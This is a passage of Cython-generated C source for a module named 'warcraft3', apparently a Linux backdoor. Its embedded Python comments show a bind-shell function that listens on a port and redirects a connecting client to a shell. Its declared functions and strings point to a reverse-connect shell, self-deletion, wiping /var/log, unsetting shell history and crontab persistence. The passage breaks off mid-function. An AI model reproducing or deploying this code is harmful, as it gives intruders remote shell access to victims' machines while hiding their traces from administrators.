  1077. static PyObject *__pyx_n_s_main;
  1078. static PyObject *__pyx_n_s_name;
  1079. static PyObject *__pyx_n_s_open;
  1080. static PyObject *__pyx_n_s_optParser;
  1081. static PyObject *__pyx_n_s_options;
  1082. static PyObject *__pyx_n_s_optparse;
  1083. static PyObject *__pyx_n_s_os;
  1084. static PyObject *__pyx_kp_s_p;
  1085. static PyObject *__pyx_n_s_parse_args;
  1086. static PyObject *__pyx_n_s_path;
  1087. static PyObject *__pyx_n_s_pidfile;
  1088. static PyObject *__pyx_n_s_popen;
  1089. static PyObject *__pyx_n_s_port;
  1090. static PyObject *__pyx_kp_s_port_2;
  1091. static PyObject *__pyx_n_s_print;
  1092. static PyObject *__pyx_n_s_r;
  1093. static PyObject *__pyx_kp_s_r_2;
  1094. static PyObject *__pyx_n_s_realpath;
  1095. static PyObject *__pyx_n_s_reason;
  1096. static PyObject *__pyx_n_s_remove;
  1097. static PyObject *__pyx_kp_s_reverse;
  1098. static PyObject *__pyx_n_s_reverse_2;
  1099. static PyObject *__pyx_kp_s_rm_f_var_log;
  1100. static PyObject *__pyx_n_s_shell;
  1101. static PyObject *__pyx_n_s_socket;
  1102. static PyObject *__pyx_n_s_store_true;
  1103. static PyObject *__pyx_n_s_subprocess;
  1104. static PyObject *__pyx_n_s_test;
  1105. static PyObject *__pyx_n_s_unsetLog;
  1106. static PyObject *__pyx_kp_s_unset_history;
  1107. static PyObject *__pyx_n_s_warcraft3;
  1108. static PyObject *__pyx_kp_s_warcraft3_2;
  1109. static PyObject *__pyx_kp_s_warcraft3_py;
  1110. static PyObject *__pyx_pf_9warcraft3_BindConnect(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_addr, PyObject *__pyx_v_port); /* proto */
  1111. static PyObject *__pyx_pf_9warcraft3_2ReserveConnect(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_addr, PyObject *__pyx_v_port); /* proto */
  1112. static PyObject *__pyx_pf_9warcraft3_4SingletonRunning(CYTHON_UNUSED PyObject *__pyx_self); /* proto */
  1113. static PyObject *__pyx_pf_9warcraft3_6deleteSelf(CYTHON_UNUSED PyObject *__pyx_self); /* proto */
  1114. static PyObject *__pyx_pf_9warcraft3_8unsetLog(CYTHON_UNUSED PyObject *__pyx_self); /* proto */
  1115. static PyObject *__pyx_pf_9warcraft3_10clearLog(CYTHON_UNUSED PyObject *__pyx_self); /* proto */
  1116. static PyObject *__pyx_pf_9warcraft3_12appendCrontab(CYTHON_UNUSED PyObject *__pyx_self); /* proto */
  1117. static PyObject *__pyx_int_0;
  1118. static PyObject *__pyx_int_1;
  1119. static PyObject *__pyx_int_2;
  1120. static PyObject *__pyx_tuple_;
  1121. static PyObject *__pyx_tuple__2;
  1122. static PyObject *__pyx_tuple__3;
  1123. static PyObject *__pyx_tuple__4;
  1124. static PyObject *__pyx_tuple__5;
  1125. static PyObject *__pyx_tuple__6;
  1126. static PyObject *__pyx_tuple__7;
  1127. static PyObject *__pyx_tuple__8;
  1128. static PyObject *__pyx_tuple__9;
  1129. static PyObject *__pyx_tuple__10;
  1130. static PyObject *__pyx_tuple__11;
  1131. static PyObject *__pyx_tuple__12;
  1132. static PyObject *__pyx_tuple__13;
  1133. static PyObject *__pyx_tuple__14;
  1134. static PyObject *__pyx_tuple__15;
  1135. static PyObject *__pyx_tuple__17;
  1136. static PyObject *__pyx_tuple__19;
  1137. static PyObject *__pyx_tuple__21;
  1138. static PyObject *__pyx_tuple__26;
  1139. static PyObject *__pyx_tuple__27;
  1140. static PyObject *__pyx_tuple__28;
  1141. static PyObject *__pyx_tuple__29;
  1142. static PyObject *__pyx_codeobj__16;
  1143. static PyObject *__pyx_codeobj__18;
  1144. static PyObject *__pyx_codeobj__20;
  1145. static PyObject *__pyx_codeobj__22;
  1146. static PyObject *__pyx_codeobj__23;
  1147. static PyObject *__pyx_codeobj__24;
  1148. static PyObject *__pyx_codeobj__25;
  1149. /* "warcraft3.py":13
  1150. *
  1151. * # shell
  1152. * def BindConnect(addr, port): # <<<<<<<<<<<<<<
  1153. * '''shell'''
  1154. * try:
  1155. */
  1156. /* Python wrapper */
  1157. static PyObject *__pyx_pw_9warcraft3_1BindConnect(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/
  1158. static char __pyx_doc_9warcraft3_BindConnect[] = "\346\255\243\345\220\221\350\277\236\346\216\245shell";
  1159. static PyMethodDef __pyx_mdef_9warcraft3_1BindConnect = {"BindConnect", (PyCFunction)__pyx_pw_9warcraft3_1BindConnect, METH_VARARGS|METH_KEYWORDS, __pyx_doc_9warcraft3_BindConnect};
  1160. static PyObject *__pyx_pw_9warcraft3_1BindConnect(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {
  1161. PyObject *__pyx_v_addr = 0;
  1162. PyObject *__pyx_v_port = 0;
  1163. PyObject *__pyx_r = 0;
  1164. __Pyx_RefNannyDeclarations
  1165. __Pyx_RefNannySetupContext("BindConnect (wrapper)", 0);
  1166. {
  1167. static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_addr,&__pyx_n_s_port,0};
  1168. PyObject* values[2] = {0,0};
  1169. if (unlikely(__pyx_kwds)) {
  1170. Py_ssize_t kw_args;
  1171. const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);
  1172. switch (pos_args) {
  1173. case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);
  1174. CYTHON_FALLTHROUGH;
  1175. case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);
  1176. CYTHON_FALLTHROUGH;
  1177. case 0: break;
  1178. default: goto __pyx_L5_argtuple_error;
  1179. }
  1180. kw_args = PyDict_Size(__pyx_kwds);
  1181. switch (pos_args) {
  1182. case 0:
  1183. if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_addr)) != 0)) kw_args--;
  1184. else goto __pyx_L5_argtuple_error;
  1185. CYTHON_FALLTHROUGH;
  1186. case 1:
  1187. if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_port)) != 0)) kw_args--;
  1188. else {
  1189. __Pyx_RaiseArgtupleInvalid("BindConnect", 1, 2, 2, 1); __PYX_ERR(0, 13, __pyx_L3_error)
  1190. }
  1191. }
  1192. if (unlikely(kw_args > 0)) {
  1193. if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "BindConnect") < 0)) __PYX_ERR(0, 13, __pyx_L3_error)
  1194. }
  1195. } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {
  1196. goto __pyx_L5_argtuple_error;
  1197. } else {
  1198. values[0] = PyTuple_GET_ITEM(__pyx_args, 0);
  1199. values[1] = PyTuple_GET_ITEM(__pyx_args, 1);
  1200. }
  1201. __pyx_v_addr = values[0];
  1202. __pyx_v_port = values[1];
  1203. }
  1204. goto __pyx_L4_argument_unpacking_done;
  1205. __pyx_L5_argtuple_error:;
  1206. __Pyx_RaiseArgtupleInvalid("BindConnect", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 13, __pyx_L3_error)
  1207. __pyx_L3_error:;
  1208. __Pyx_AddTraceback("warcraft3.BindConnect", __pyx_clineno, __pyx_lineno, __pyx_filename);
  1209. __Pyx_RefNannyFinishContext();
  1210. return NULL;
  1211. __pyx_L4_argument_unpacking_done:;
  1212. __pyx_r = __pyx_pf_9warcraft3_BindConnect(__pyx_self, __pyx_v_addr, __pyx_v_port);
  1213. /* function exit code */
  1214. __Pyx_RefNannyFinishContext();
  1215. return __pyx_r;
  1216. }
  1217. static PyObject *__pyx_pf_9warcraft3_BindConnect(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_addr, PyObject *__pyx_v_port) {
  1218. PyObject *__pyx_v_shell = NULL;
  1219. PyObject *__pyx_v_reason = NULL;
  1220. PyObject *__pyx_v_client = NULL;
  1221. PyObject *__pyx_r = NULL;
  1222. __Pyx_RefNannyDeclarations
  1223. PyObject *__pyx_t_1 = NULL;
  1224. PyObject *__pyx_t_2 = NULL;
  1225. PyObject *__pyx_t_3 = NULL;
  1226. PyObject *__pyx_t_4 = NULL;
  1227. PyObject *__pyx_t_5 = NULL;
  1228. PyObject *__pyx_t_6 = NULL;
  1229. PyObject *__pyx_t_7 = NULL;
  1230. PyObject *__pyx_t_8 = NULL;
  1231. int __pyx_t_9;
  1232. PyObject *__pyx_t_10 = NULL;
  1233. PyObject *(*__pyx_t_11)(PyObject *);
  1234. __Pyx_RefNannySetupContext("BindConnect", 0);
  1235. __Pyx_INCREF(__pyx_v_addr);
  1236. /* "warcraft3.py":15
  1237. * def BindConnect(addr, port):
  1238. * '''shell'''
  1239. * try: # <<<<<<<<<<<<<<
  1240. * shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1241. * shell.bind((addr,port))
  1242. */
  1243. {
  1244. __Pyx_PyThreadState_declare
  1245. __Pyx_PyThreadState_assign
  1246. __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3);
  1247. __Pyx_XGOTREF(__pyx_t_1);
  1248. __Pyx_XGOTREF(__pyx_t_2);
  1249. __Pyx_XGOTREF(__pyx_t_3);
  1250. /*try:*/ {
  1251. /* "warcraft3.py":16
  1252. * '''shell'''
  1253. * try:
  1254. * shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # <<<<<<<<<<<<<<
  1255. * shell.bind((addr,port))
  1256. * shell.listen(1)
  1257. */
  1258. __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 16, __pyx_L3_error)
  1259. __Pyx_GOTREF(__pyx_t_5);
  1260. __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_socket); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 16, __pyx_L3_error)
  1261. __Pyx_GOTREF(__pyx_t_6);
  1262. __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  1263. __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 16, __pyx_L3_error)
  1264. __Pyx_GOTREF(__pyx_t_5);
  1265. __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_AF_INET); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 16, __pyx_L3_error)
  1266. __Pyx_GOTREF(__pyx_t_7);
  1267. __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  1268. __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 16, __pyx_L3_error)
  1269. __Pyx_GOTREF(__pyx_t_5);
  1270. __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_SOCK_STREAM); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 16, __pyx_L3_error)
  1271. __Pyx_GOTREF(__pyx_t_8);
  1272. __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  1273. __pyx_t_5 = NULL;
  1274. __pyx_t_9 = 0;
  1275. if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) {
  1276. __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6);
  1277. if (likely(__pyx_t_5)) {
  1278. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6);
  1279. __Pyx_INCREF(__pyx_t_5);
  1280. __Pyx_INCREF(function);
  1281. __Pyx_DECREF_SET(__pyx_t_6, function);
  1282. __pyx_t_9 = 1;
  1283. }
  1284. }
  1285. #if CYTHON_FAST_PYCALL
  1286. if (PyFunction_Check(__pyx_t_6)) {
  1287. PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_t_7, __pyx_t_8};
  1288. __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 16, __pyx_L3_error)
  1289. __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0;
  1290. __Pyx_GOTREF(__pyx_t_4);
  1291. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  1292. __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
  1293. } else
  1294. #endif
  1295. #if CYTHON_FAST_PYCCALL
  1296. if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) {
  1297. PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_t_7, __pyx_t_8};
  1298. __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 16, __pyx_L3_error)
  1299. __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0;
  1300. __Pyx_GOTREF(__pyx_t_4);
  1301. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  1302. __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
  1303. } else
  1304. #endif
  1305. {
  1306. __pyx_t_10 = PyTuple_New(2+__pyx_t_9); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 16, __pyx_L3_error)
  1307. __Pyx_GOTREF(__pyx_t_10);
  1308. if (__pyx_t_5) {
  1309. __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_t_5); __pyx_t_5 = NULL;
  1310. }
  1311. __Pyx_GIVEREF(__pyx_t_7);
  1312. PyTuple_SET_ITEM(__pyx_t_10, 0+__pyx_t_9, __pyx_t_7);
  1313. __Pyx_GIVEREF(__pyx_t_8);
  1314. PyTuple_SET_ITEM(__pyx_t_10, 1+__pyx_t_9, __pyx_t_8);
  1315. __pyx_t_7 = 0;
  1316. __pyx_t_8 = 0;
  1317. __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_10, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 16, __pyx_L3_error)
  1318. __Pyx_GOTREF(__pyx_t_4);
  1319. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  1320. }
  1321. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  1322. __pyx_v_shell = __pyx_t_4;
  1323. __pyx_t_4 = 0;
  1324. /* "warcraft3.py":17
  1325. * try:
  1326. * shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1327. * shell.bind((addr,port)) # <<<<<<<<<<<<<<
  1328. * shell.listen(1)
  1329. * except Exception as reason:
  1330. */
  1331. __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_shell, __pyx_n_s_bind); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 17, __pyx_L3_error)
  1332. __Pyx_GOTREF(__pyx_t_6);
  1333. __pyx_t_10 = PyTuple_New(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 17, __pyx_L3_error)
  1334. __Pyx_GOTREF(__pyx_t_10);
  1335. __Pyx_INCREF(__pyx_v_addr);
  1336. __Pyx_GIVEREF(__pyx_v_addr);
  1337. PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_v_addr);
  1338. __Pyx_INCREF(__pyx_v_port);
  1339. __Pyx_GIVEREF(__pyx_v_port);
  1340. PyTuple_SET_ITEM(__pyx_t_10, 1, __pyx_v_port);
  1341. __pyx_t_8 = NULL;
  1342. if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) {
  1343. __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_6);
  1344. if (likely(__pyx_t_8)) {
  1345. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6);
  1346. __Pyx_INCREF(__pyx_t_8);
  1347. __Pyx_INCREF(function);
  1348. __Pyx_DECREF_SET(__pyx_t_6, function);
  1349. }
  1350. }
  1351. if (!__pyx_t_8) {
  1352. __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_10); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 17, __pyx_L3_error)
  1353. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  1354. __Pyx_GOTREF(__pyx_t_4);
  1355. } else {
  1356. #if CYTHON_FAST_PYCALL
  1357. if (PyFunction_Check(__pyx_t_6)) {
  1358. PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_10};
  1359. __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 17, __pyx_L3_error)
  1360. __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0;
  1361. __Pyx_GOTREF(__pyx_t_4);
  1362. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  1363. } else
  1364. #endif
  1365. #if CYTHON_FAST_PYCCALL
  1366. if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) {
  1367. PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_10};
  1368. __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 17, __pyx_L3_error)
  1369. __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0;
  1370. __Pyx_GOTREF(__pyx_t_4);
  1371. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  1372. } else
  1373. #endif
  1374. {
  1375. __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 17, __pyx_L3_error)
  1376. __Pyx_GOTREF(__pyx_t_7);
  1377. __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_8); __pyx_t_8 = NULL;
  1378. __Pyx_GIVEREF(__pyx_t_10);
  1379. PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_10);
  1380. __pyx_t_10 = 0;
  1381. __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_7, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 17, __pyx_L3_error)
  1382. __Pyx_GOTREF(__pyx_t_4);
  1383. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  1384. }
  1385. }
  1386. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  1387. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  1388. /* "warcraft3.py":18
  1389. * shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1390. * shell.bind((addr,port))
  1391. * shell.listen(1) # <<<<<<<<<<<<<<
  1392. * except Exception as reason:
  1393. * print ('[-] Failed to Create Socket : %s'%reason)
  1394. */
  1395. __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_shell, __pyx_n_s_listen); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 18, __pyx_L3_error)
  1396. __Pyx_GOTREF(__pyx_t_4);
  1397. __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple_, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 18, __pyx_L3_error)
  1398. __Pyx_GOTREF(__pyx_t_6);
  1399. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  1400. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  1401. /* "warcraft3.py":15
  1402. * def BindConnect(addr, port):
  1403. * '''shell'''
  1404. * try: # <<<<<<<<<<<<<<
  1405. * shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1406. * shell.bind((addr,port))
  1407. */
  1408. }
  1409. __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0;
  1410. __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0;
  1411. __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0;
  1412. goto __pyx_L8_try_end;
  1413. __pyx_L3_error:;
  1414. __Pyx_PyThreadState_assign
  1415. __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0;
  1416. __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0;
  1417. __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0;
  1418. __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0;
  1419. __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0;
  1420. __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0;
  1421. /* "warcraft3.py":19
  1422. * shell.bind((addr,port))
  1423. * shell.listen(1)
  1424. * except Exception as reason: # <<<<<<<<<<<<<<
  1425. * print ('[-] Failed to Create Socket : %s'%reason)
  1426. * exit(0)
  1427. */
  1428. __pyx_t_9 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0])));
  1429. if (__pyx_t_9) {
  1430. __Pyx_AddTraceback("warcraft3.BindConnect", __pyx_clineno, __pyx_lineno, __pyx_filename);
  1431. if (__Pyx_GetException(&__pyx_t_6, &__pyx_t_4, &__pyx_t_7) < 0) __PYX_ERR(0, 19, __pyx_L5_except_error)
  1432. __Pyx_GOTREF(__pyx_t_6);
  1433. __Pyx_GOTREF(__pyx_t_4);
  1434. __Pyx_GOTREF(__pyx_t_7);
  1435. __Pyx_INCREF(__pyx_t_4);
  1436. __pyx_v_reason = __pyx_t_4;
  1437. /* "warcraft3.py":20
  1438. * shell.listen(1)
  1439. * except Exception as reason:
  1440. * print ('[-] Failed to Create Socket : %s'%reason) # <<<<<<<<<<<<<<
  1441. * exit(0)
  1442. * try:
  1443. */
  1444. __pyx_t_10 = __Pyx_PyString_Format(__pyx_kp_s_Failed_to_Create_Socket_s, __pyx_v_reason); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 20, __pyx_L5_except_error)
  1445. __Pyx_GOTREF(__pyx_t_10);
  1446. if (__Pyx_PrintOne(0, __pyx_t_10) < 0) __PYX_ERR(0, 20, __pyx_L5_except_error)
  1447. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  1448. /* "warcraft3.py":21
  1449. * except Exception as reason:
  1450. * print ('[-] Failed to Create Socket : %s'%reason)
  1451. * exit(0) # <<<<<<<<<<<<<<
  1452. * try:
  1453. * client,addr = shell.accept()
  1454. */
  1455. __pyx_t_10 = __Pyx_PyObject_Call(__pyx_builtin_exit, __pyx_tuple__2, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 21, __pyx_L5_except_error)
  1456. __Pyx_GOTREF(__pyx_t_10);
  1457. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  1458. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  1459. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  1460. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  1461. goto __pyx_L4_exception_handled;
  1462. }
  1463. goto __pyx_L5_except_error;
  1464. __pyx_L5_except_error:;
  1465. /* "warcraft3.py":15
  1466. * def BindConnect(addr, port):
  1467. * '''shell'''
  1468. * try: # <<<<<<<<<<<<<<
  1469. * shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1470. * shell.bind((addr,port))
  1471. */
  1472. __Pyx_PyThreadState_assign
  1473. __Pyx_XGIVEREF(__pyx_t_1);
  1474. __Pyx_XGIVEREF(__pyx_t_2);
  1475. __Pyx_XGIVEREF(__pyx_t_3);
  1476. __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3);
  1477. goto __pyx_L1_error;
  1478. __pyx_L4_exception_handled:;
  1479. __Pyx_PyThreadState_assign
  1480. __Pyx_XGIVEREF(__pyx_t_1);
  1481. __Pyx_XGIVEREF(__pyx_t_2);
  1482. __Pyx_XGIVEREF(__pyx_t_3);
  1483. __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3);
  1484. __pyx_L8_try_end:;
  1485. }
  1486. /* "warcraft3.py":22
  1487. * print ('[-] Failed to Create Socket : %s'%reason)
  1488. * exit(0)
  1489. * try: # <<<<<<<<<<<<<<
  1490. * client,addr = shell.accept()
  1491. * #socketshellterminal
  1492. */
  1493. {
  1494. __Pyx_PyThreadState_declare
  1495. __Pyx_PyThreadState_assign
  1496. __Pyx_ExceptionSave(&__pyx_t_3, &__pyx_t_2, &__pyx_t_1);
  1497. __Pyx_XGOTREF(__pyx_t_3);
  1498. __Pyx_XGOTREF(__pyx_t_2);
  1499. __Pyx_XGOTREF(__pyx_t_1);
  1500. /*try:*/ {
  1501. /* "warcraft3.py":23
  1502. * exit(0)
  1503. * try:
  1504. * client,addr = shell.accept() # <<<<<<<<<<<<<<
  1505. * #socketshellterminal
  1506. * os.dup2(client.fileno(),0)#clientsocketsocketshell
  1507. */
  1508. if (unlikely(!__pyx_v_shell)) { __Pyx_RaiseUnboundLocalError("shell"); __PYX_ERR(0, 23, __pyx_L11_error) }
  1509. __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_shell, __pyx_n_s_accept); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 23, __pyx_L11_error)
  1510. __Pyx_GOTREF(__pyx_t_4);
  1511. __pyx_t_6 = NULL;
  1512. if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) {
  1513. __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_4);
  1514. if (likely(__pyx_t_6)) {
  1515. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4);
  1516. __Pyx_INCREF(__pyx_t_6);
  1517. __Pyx_INCREF(function);
  1518. __Pyx_DECREF_SET(__pyx_t_4, function);
  1519. }
  1520. }
  1521. if (__pyx_t_6) {
  1522. __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 23, __pyx_L11_error)
  1523. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  1524. } else {
  1525. __pyx_t_7 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 23, __pyx_L11_error)
  1526. }
  1527. __Pyx_GOTREF(__pyx_t_7);
  1528. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  1529. if ((likely(PyTuple_CheckExact(__pyx_t_7))) || (PyList_CheckExact(__pyx_t_7))) {
  1530. PyObject* sequence = __pyx_t_7;
  1531. #if !CYTHON_COMPILING_IN_PYPY
  1532. Py_ssize_t size = Py_SIZE(sequence);
  1533. #else
  1534. Py_ssize_t size = PySequence_Size(sequence);
  1535. #endif
  1536. if (unlikely(size != 2)) {
  1537. if (size > 2) __Pyx_RaiseTooManyValuesError(2);
  1538. else if (size >= 0) __Pyx_RaiseNeedMoreValuesError(size);
  1539. __PYX_ERR(0, 23, __pyx_L11_error)
  1540. }
  1541. #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS
  1542. if (likely(PyTuple_CheckExact(sequence))) {
  1543. __pyx_t_4 = PyTuple_GET_ITEM(sequence, 0);
  1544. __pyx_t_6 = PyTuple_GET_ITEM(sequence, 1);
  1545. } else {
  1546. __pyx_t_4 = PyList_GET_ITEM(sequence, 0);
  1547. __pyx_t_6 = PyList_GET_ITEM(sequence, 1);
  1548. }
  1549. __Pyx_INCREF(__pyx_t_4);
  1550. __Pyx_INCREF(__pyx_t_6);
  1551. #else
  1552. __pyx_t_4 = PySequence_ITEM(sequence, 0); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 23, __pyx_L11_error)
  1553. __Pyx_GOTREF(__pyx_t_4);
  1554. __pyx_t_6 = PySequence_ITEM(sequence, 1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 23, __pyx_L11_error)
  1555. __Pyx_GOTREF(__pyx_t_6);
  1556. #endif
  1557. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  1558. } else {
  1559. Py_ssize_t index = -1;
  1560. __pyx_t_10 = PyObject_GetIter(__pyx_t_7); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 23, __pyx_L11_error)
  1561. __Pyx_GOTREF(__pyx_t_10);
  1562. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  1563. __pyx_t_11 = Py_TYPE(__pyx_t_10)->tp_iternext;
  1564. index = 0; __pyx_t_4 = __pyx_t_11(__pyx_t_10); if (unlikely(!__pyx_t_4)) goto __pyx_L17_unpacking_failed;
  1565. __Pyx_GOTREF(__pyx_t_4);
  1566. index = 1; __pyx_t_6 = __pyx_t_11(__pyx_t_10); if (unlikely(!__pyx_t_6)) goto __pyx_L17_unpacking_failed;
  1567. __Pyx_GOTREF(__pyx_t_6);
  1568. if (__Pyx_IternextUnpackEndCheck(__pyx_t_11(__pyx_t_10), 2) < 0) __PYX_ERR(0, 23, __pyx_L11_error)
  1569. __pyx_t_11 = NULL;
  1570. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  1571. goto __pyx_L18_unpacking_done;
  1572. __pyx_L17_unpacking_failed:;
  1573. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  1574. __pyx_t_11 = NULL;
  1575. if (__Pyx_IterFinish() == 0) __Pyx_RaiseNeedMoreValuesError(index);
  1576. __PYX_ERR(0, 23, __pyx_L11_error)
  1577. __pyx_L18_unpacking_done:;
  1578. }
  1579. __pyx_v_client = __pyx_t_4;
  1580. __pyx_t_4 = 0;
